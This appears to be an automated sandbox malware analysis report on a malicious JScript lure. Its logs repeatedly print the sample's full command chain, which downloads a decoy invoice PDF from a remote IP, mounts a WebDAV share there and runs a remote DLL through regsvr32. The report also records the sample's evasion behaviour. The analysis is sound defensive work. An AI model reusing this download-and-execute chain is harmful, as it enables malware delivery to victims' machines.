Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\96.js.csv");ITextStream.WriteLine(" entry:7725 f:zdiqieps");ITextStream.WriteLine(" exec:2 f:zdiqieps");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5232			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4622			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6692	Thread sleep count: 5232 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6692	Thread sleep count: 4622 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6532	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5144	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6112	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7388	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1769514057.0000023FCB86E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769514057.0000023FCB808000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2978076312.000002913A65C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2975913939.000002913502B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
